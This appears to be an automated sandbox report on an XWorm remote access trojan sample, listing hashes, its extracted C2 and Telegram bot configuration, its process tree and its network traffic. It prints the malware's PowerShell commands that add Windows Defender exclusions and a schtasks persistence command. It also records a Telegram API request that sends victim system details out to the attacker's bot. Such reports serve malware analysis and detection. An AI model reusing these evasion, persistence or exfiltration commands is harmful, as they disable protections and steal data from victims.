Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2025, 21:26 UTC

General

  • Target

    XClient.exe

  • Size

    86KB

  • MD5

    fd739632b35fe4c6619d875046de0977

  • SHA1

    3fe14c2b2cdbaa8704a8d4c5ea69bee939db8dd8

  • SHA256

    4644fee74d9836dae0e7083607ba473e0ff417637a73bde127aa8bcecfa724e5

  • SHA512

    ae3391fd936fe943e9196bd6af664a62659529fa329a9dd74134b3ba6901b2ee50da74423c56f192e2fbf3ab149d29fdea7b3ae6e37a489a3fea1f675099f29b

  • SSDEEP

    1536:+X9yT3O+aq7HgTiSCP19bB484JJT6x2SciO3+A+zn+B:u7lEgTaP19bBcc2UO3K+B

Malware Config

Extracted

Family

xworm

C2

blood-pattern.gl.at.ply.gg:5353

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3024
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3804
  • C:\Users\Admin\AppData\Roaming\security
    C:\Users\Admin\AppData\Roaming\security
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4348
  • C:\Users\Admin\AppData\Roaming\security
    C:\Users\Admin\AppData\Roaming\security
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3076

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    241.150.49.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.150.49.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    64.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    64.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    167.173.78.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    167.173.78.104.in-addr.arpa
    IN PTR
    Response
    167.173.78.104.in-addr.arpa
    IN PTR
    a104-78-173-167deploystaticakamaitechnologiescom
  • flag-us
    DNS
    api.telegram.org
    XClient.exe
    Remote address:
    8.8.8.8:53
    Request
    api.telegram.org
    IN A
    Response
    api.telegram.org
    IN A
    149.154.167.220
  • flag-nl
    GET
    https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2
    XClient.exe
    Remote address:
    149.154.167.220:443
    Request
    GET /bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1
    Host: api.telegram.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 400 Bad Request
    Server: nginx/1.18.0
    Date: Mon, 20 Jan 2025 21:26:35 GMT
    Content-Type: application/json
    Content-Length: 73
    Connection: keep-alive
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
    Access-Control-Allow-Origin: *
    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
  • flag-us
    DNS
    220.167.154.149.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    220.167.154.149.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    blood-pattern.gl.at.ply.gg
    XClient.exe
    Remote address:
    8.8.8.8:53
    Request
    blood-pattern.gl.at.ply.gg
    IN A
    Response
    blood-pattern.gl.at.ply.gg
    IN A
    147.185.221.25
  • flag-us
    DNS
    209.205.72.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    209.205.72.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    18.31.95.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.31.95.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    8.153.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.153.16.2.in-addr.arpa
    IN PTR
    Response
    8.153.16.2.in-addr.arpa
    IN PTR
    a2-16-153-8deploystaticakamaitechnologiescom
  • flag-us
    DNS
    23.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    23.236.111.52.in-addr.arpa
    IN PTR
    Response
  • 149.154.167.220:443
    https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2
    tls, http
    XClient.exe
    1.3kB
    6.7kB
    11
    11

    HTTP Request

    GET https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2

    HTTP Response

    400
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    260 B
    5
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    260 B
    5
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    260 B
    5
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    260 B
    5
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    260 B
    5
  • 147.185.221.25:5353
    blood-pattern.gl.at.ply.gg
    XClient.exe
    104 B
    2
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    241.150.49.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    241.150.49.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    64.159.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    64.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    167.173.78.104.in-addr.arpa
    dns
    73 B
    139 B
    1
    1

    DNS Request

    167.173.78.104.in-addr.arpa

  • 8.8.8.8:53
    api.telegram.org
    dns
    XClient.exe
    62 B
    78 B
    1
    1

    DNS Request

    api.telegram.org

    DNS Response

    149.154.167.220

  • 8.8.8.8:53
    220.167.154.149.in-addr.arpa
    dns
    74 B
    167 B
    1
    1

    DNS Request

    220.167.154.149.in-addr.arpa

  • 8.8.8.8:53
    blood-pattern.gl.at.ply.gg
    dns
    XClient.exe
    72 B
    88 B
    1
    1

    DNS Request

    blood-pattern.gl.at.ply.gg

    DNS Response

    147.185.221.25

  • 8.8.8.8:53
    209.205.72.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    209.205.72.20.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    18.31.95.13.in-addr.arpa
    dns
    70 B
    144 B
    1
    1

    DNS Request

    18.31.95.13.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    8.153.16.2.in-addr.arpa
    dns
    69 B
    131 B
    1
    1

    DNS Request

    8.153.16.2.in-addr.arpa

  • 8.8.8.8:53
    23.236.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    23.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\security.log

    Filesize

    654B

    MD5

    2ff39f6c7249774be85fd60a8f9a245e

    SHA1

    684ff36b31aedc1e587c8496c02722c6698c1c4e

    SHA256

    e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

    SHA512

    1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    a7cc007980e419d553568a106210549a

    SHA1

    c03099706b75071f36c3962fcc60a22f197711e0

    SHA256

    a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165

    SHA512

    b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    da185fddf7e751e39023edde12930f37

    SHA1

    657fcb7fda401b69d3bb97e7b6abf126ac36d4b2

    SHA256

    8928226805a92acd76d21e1a276176d9af3ca1ec31f14e45a2b4b88f4722cad5

    SHA512

    db7bc02a1bd86d587840a56334dee9cb80aa0a8635cd2eb1c490bc5466659350de4d625f320731e34fac235016515d0dddc05a6081149dc6c2e82c262be6b975

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_irt0m0t3.aqe.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\security

    Filesize

    86KB

    MD5

    fd739632b35fe4c6619d875046de0977

    SHA1

    3fe14c2b2cdbaa8704a8d4c5ea69bee939db8dd8

    SHA256

    4644fee74d9836dae0e7083607ba473e0ff417637a73bde127aa8bcecfa724e5

    SHA512

    ae3391fd936fe943e9196bd6af664a62659529fa329a9dd74134b3ba6901b2ee50da74423c56f192e2fbf3ab149d29fdea7b3ae6e37a489a3fea1f675099f29b

  • memory/2136-12-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-17-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-14-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-13-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-2-0x000001DD56C20000-0x000001DD56C42000-memory.dmp

    Filesize

    136KB

  • memory/2996-1-0x0000000000CC0000-0x0000000000CDC000-memory.dmp

    Filesize

    112KB

  • memory/2996-55-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2996-56-0x00007FFA29163000-0x00007FFA29165000-memory.dmp

    Filesize

    8KB

  • memory/2996-57-0x00007FFA29160000-0x00007FFA29C21000-memory.dmp

    Filesize

    10.8MB

  • memory/2996-0-0x00007FFA29163000-0x00007FFA29165000-memory.dmp

    Filesize

    8KB

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